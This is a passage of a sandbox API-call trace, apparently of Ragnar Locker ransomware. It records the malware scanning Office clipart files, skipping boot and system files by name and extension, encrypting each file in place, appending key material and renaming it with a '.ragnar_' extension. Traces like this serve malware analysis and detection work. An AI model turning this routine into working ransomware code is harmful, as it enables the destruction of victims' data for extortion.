lpString2=".drv") returned 1 [0092.585] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf")) returned 0x20 [0092.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.585] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3956) returned 1 [0092.585] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.585] GetProcessHeap () returned 0x580000 [0092.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.585] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.587] VirtualAlloc (lpAddress=0x0, dwSize=0xf74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.587] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf74, lpOverlapped=0x0) returned 1 [0092.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.587] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf74, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.587] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf74, lpOverlapped=0x0) returned 1 [0092.587] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.587] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.588] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.588] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.588] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.588] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.588] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.588] GetProcessHeap () returned 0x580000 [0092.588] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.588] CloseHandle (hObject=0xf4) returned 1 [0092.588] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" [0092.588] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.ragnar_FD7BD9FC" [0092.588] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.589] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd26000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd26000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00253_.WMF", cAlternateFileName="")) returned 1 [0092.589] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.589] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00253_.WMF" | out: lpString1="TN00253_.WMF") returned="TN00253_.WMF" [0092.589] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF") returned=".WMF" [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="autorun.inf") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="boot.ini") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="bootfont.bin") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="bootsect.bak") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="bootmgr") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="bootmgr.efi") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="desktop.ini") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="iconcache.db") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="ntldr") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="ntuser.dat") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="ntuser.ini") returned 1 [0092.589] lstrcmpiW (lpString1="TN00253_.WMF", lpString2="thumbs.db") returned 1 [0092.589] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.589] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.589] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.590] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.590] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.590] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.590] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf")) returned 0x20 [0092.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.590] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5564) returned 1 [0092.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.590] GetProcessHeap () returned 0x580000 [0092.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.590] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.592] VirtualAlloc (lpAddress=0x0, dwSize=0x15bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.592] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.592] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.592] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15bc, lpOverlapped=0x0) returned 1 [0092.593] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.593] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.593] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15bc, lpOverlapped=0x0) returned 1 [0092.593] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.593] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.593] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.593] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.593] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.593] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.593] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.593] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.593] GetProcessHeap () returned 0x580000 [0092.593] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.593] CloseHandle (hObject=0xf4) returned 1 [0092.594] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" [0092.594] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.ragnar_FD7BD9FC" [0092.594] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.594] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64d4200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64d4200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00255_.WMF", cAlternateFileName="")) returned 1 [0092.594] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.594] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00255_.WMF" | out: lpString1="TN00255_.WMF") returned="TN00255_.WMF" [0092.594] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF") returned=".WMF" [0092.594] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.594] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="autorun.inf") returned 1 [0092.594] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="boot.ini") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="bootfont.bin") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="bootsect.bak") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="bootmgr") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="bootmgr.efi") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="desktop.ini") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="iconcache.db") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="ntldr") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="ntuser.dat") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="ntuser.ini") returned 1 [0092.595] lstrcmpiW (lpString1="TN00255_.WMF", lpString2="thumbs.db") returned 1 [0092.595] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.595] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.595] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.595] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.595] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.595] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.595] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf")) returned 0x20 [0092.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.596] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7592) returned 1 [0092.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.596] GetProcessHeap () returned 0x580000 [0092.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.596] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.597] VirtualAlloc (lpAddress=0x0, dwSize=0x1da8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.597] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.597] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.597] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1da8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1da8, lpOverlapped=0x0) returned 1 [0092.598] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.598] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1da8, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.598] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1da8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1da8, lpOverlapped=0x0) returned 1 [0092.598] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1da8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.599] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1da8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.599] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.599] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.601] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.601] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.601] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.601] GetProcessHeap () returned 0x580000 [0092.601] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.601] CloseHandle (hObject=0xf4) returned 1 [0092.601] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" [0092.601] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.ragnar_FD7BD9FC" [0092.601] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84184a00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84184a00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x7dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00330_.WMF", cAlternateFileName="")) returned 1 [0092.602] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.602] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00330_.WMF" | out: lpString1="TN00330_.WMF") returned="TN00330_.WMF" [0092.602] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF") returned=".WMF" [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="autorun.inf") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="boot.ini") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="bootfont.bin") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="bootsect.bak") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="bootmgr") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="bootmgr.efi") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="desktop.ini") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="iconcache.db") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="ntldr") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="ntuser.dat") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="ntuser.ini") returned 1 [0092.602] lstrcmpiW (lpString1="TN00330_.WMF", lpString2="thumbs.db") returned 1 [0092.602] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.602] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.602] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.602] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.603] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.603] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.603] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf")) returned 0x20 [0092.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.607] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2012) returned 1 [0092.607] SetFilePointerEx (in: 